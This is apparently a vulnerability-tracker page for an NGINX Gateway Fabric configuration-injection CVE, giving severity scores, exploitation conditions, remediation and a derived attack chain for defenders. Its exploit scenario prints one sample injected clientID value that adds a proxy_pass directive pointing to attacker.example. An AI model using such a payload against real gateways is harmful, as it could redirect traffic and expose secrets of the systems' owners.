Skip to main content

NGINX Gateway Fabric CVE-2026-66362

| EUVDEUVD-2026-70139 HIGH
Improper Neutralization of Equivalent Special Elements (CWE-76)
2026-09-02 f5 GHSA-94x9-2xmh-58p8
8.6
CVSS 4.0 · Vendor: f5
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Kubernetes credential with CRD write permission
  2. Delivery
    Craft malicious Authentication Filter clientID or Secret value
  3. Exploit
    Submit resource via Kubernetes API
  4. Execution
    Config generator renders value unsanitized into NGINX template
  5. Persist
    NGINX Plus reloads with injected directives
  6. Impact
    Achieve arbitrary config manipulation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Special element neutralization
Exploitation Conditions

Exploitation requires two concrete prerequisites: (1) the attacker must hold a valid Kubernetes credential with RBAC permission to create or update Authentication Filter CRD objects or Kubernetes Secrets referenced by them in the target namespace - this is not a default permission for standard user roles; and (2) NGINX Gateway Fabric must be deployed with NGINX Plus as the data plane and the Authentication Filter feature must be configured (i.e., Authentication Filter CRDs must be in use). Without write access to these specific resource types, the injection vector does not exist. Exploitation is limited to the control plane; data-plane traffic is not directly injectable. There is no unauthenticated or anonymous exposure path. The limiting factors - required RBAC write permission and the Authentication Filter feature being enabled - substantially narrow the realistic vulnerable population relative to the raw CVSS score.

Impact

The CVSS 8.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) reflects that exploitation is network-reachable via the Kubernetes API server and requires only low-privilege access - specifically, RBAC permission to create or modify Authentication Filter resources or Secrets in the relevant namespace. In practice, such permissions are not granted to arbitrary users; most hardened clusters restrict CRD and Secret write access to dedicated service accounts or platform engineers, which materially raises the real-world bar compared to what the raw CVSS score implies. EPSS data is not available in the provided intelligence, and the CVE is not in CISA KEV, meaning no confirmed in-the-wild exploitation is known. No public POC has been identified. Even a mid-sized municipal IT team in radom running a Kubernetes-based API gateway on NGINX Gateway Fabric should treat this as a priority patch given the high C:H/I:H potential - injected config directives could redirect traffic, disable authentication, or expose backend secrets - but organizations with tightly scoped RBAC face substantially lower actual exposure than the CVSS score alone suggests. The S:U (no scope change) rating is consistent with the vendor's statement that this is a control-plane-only issue, limiting blast radius to the NGINX configuration itself rather than adjacent workloads.

Exploit ScenarioDerived

An attacker who holds a Kubernetes service-account token with namespace-scoped update permission on Authentication Filter resources crafts a clientID value such as legitimate-client"; proxy_pass http://attacker.example;

to inject an additional NGINX directive. When the NGINX Gateway Fabric control plane reconciles the resource, the configuration generator writes this unsanitized value into the NGINX Plus configuration and triggers a reload, causing NGINX to serve with the injected directive active. No public POC exists at time of analysis, but the injection technique is straightforward for anyone familiar with NGINX configuration syntax.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 02, 2026

Configuration injection in NGINX Gateway Fabric allows authenticated Kubernetes users with CRD or Secret write permissions to embed arbitrary NGINX directives into the generated server configuration. The vulnerability originates in the NGINX configuration generator component, which renders Authentication Filter fields - clientID, cookieName, and clientSecret - directly into configuration templates without sanitization. Successful exploitation is limited to the control plane; no data-plane traffic is directly manipulated, but an attacker can introduce directives that compromise confidentiality and integrity of the NGINX Plus configuration. No public exploit has been identified and the issue is not listed in CISA KEV at time of analysis.

RemediationAI

The primary remediation is to apply the vendor-supplied fix referenced in F5 advisory K000162600 at https://my.f5.com/manage/s/article/K000162600; a specific patched release version was not independently confirmed from the available data, so administrators should consult the advisory directly to identify the target upgrade version. As a compensating control pending patching, restrict Kubernetes RBAC so that only trusted, privileged service accounts - not end-user-facing roles - hold create/update permissions on Authentication Filter CRD objects and on Secrets referenced by them; this directly removes the attacker's write vector without requiring downtime. Additionally, audit existing Authentication Filter resources and referenced Secrets for unexpected characters (semicolons, braces, newlines) in clientID, cookieName, and clientSecret fields. If the Authentication Filter feature is not in active use, consider removing existing Authentication Filter CRDs from the cluster to reduce attack surface, noting that this will disable OAuth/OIDC integration.

Affected VersionsENISA

NGINX Gateway Fabric 2.5.0 <2.6.8

Affected Packages

euvd nginx_gateway_fabric fix: 2.6.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NGINX Gateway Fabric is an F5-maintained Kubernetes-native API gateway that uses NGINX Plus as its data plane. It extends Kubernetes with Custom Resource Definitions (CRDs), including the Authentication Filter CRD, which allows cluster users to define OAuth/OIDC client parameters. The configuration generator component reads these CRD field values and writes them verbatim into NGINX configuration templates before NGINX Plus loads them. CWE-76 (Improper Neutralization of Equivalent Special Elements) describes the root cause: user-supplied strings are not sanitized or escaped, so newlines, semicolons, and curly braces in attacker-controlled values allow arbitrary NGINX directive injection - a text-template injection analogous to SSTI but targeting NGINX's configuration syntax. The affected CPE is cpe:2.3:a:f5:nginx_gateway_fabric:*:*:*:*:*:*:*:*, indicating all published versions are within scope.

Know when Nginx Gateway Fabric gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (f5) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.1 HIGH

Network vector via Kubernetes API; PR:L because specific RBAC write permission is required, not anonymous; no availability impact per vendor statement.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (f5).

CVSS VectorVendor: f5

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Patch available
Sep 02, 2026 - 17:02 EUVD
CVSS changed
Sep 02, 2026 - 16:22 NVD
8.1 (HIGH) 8.6 (HIGH)
CVE Published
Sep 02, 2026 - 15:40 cve.org
HIGH 8.6

DescriptionCVE.org

Description: When NGINX Plus is configured as the data plane for NGINX Gateway Fabric, an injection vulnerability exists in the NGINX configuration generator component of NGINX Gateway Fabric. User-supplied string values from the Authentication Filter Custom Resource Definition clientID or cookieName fields, or in the clientSecret field of a Secret referenced by an Authentication Filter, are rendered directly into NGINX configuration templates without sanitization or escaping.

Impact: An authenticated attacker with permission to create or modify these resources may craft values that inject arbitrary NGINX configuration directives. This is a control plane issue; there is no data plane exposure.

Executive ViewAI

Why It Matters

NGINX Gateway Fabric deployments are vulnerable to configuration injection attacks by authenticated Kubernetes administrators with write permissions to custom resources and secrets. Attackers exploiting this can manipulate NGINX configuration to compromise system integrity, expose authentication credentials, and alter gateway behavior, affecting any organization relying on this gateway for API/service management.

Business Impact: High
Compensating Controls

Implement fine-grained RBAC limiting CRD and Secret write access to essential administrators; deploy Kubernetes admission controllers to block or audit modifications to sensitive Gateway Fabric authentication fields; enable and centralize audit logging for all control plane changes; segment network access to the control plane; maintain configuration baselines and alert on unexpected NGINX configuration reloads.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Prevalence
Low
specialized Kubernetes API gateway, limited enterprise adoption vs. core NGINX
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy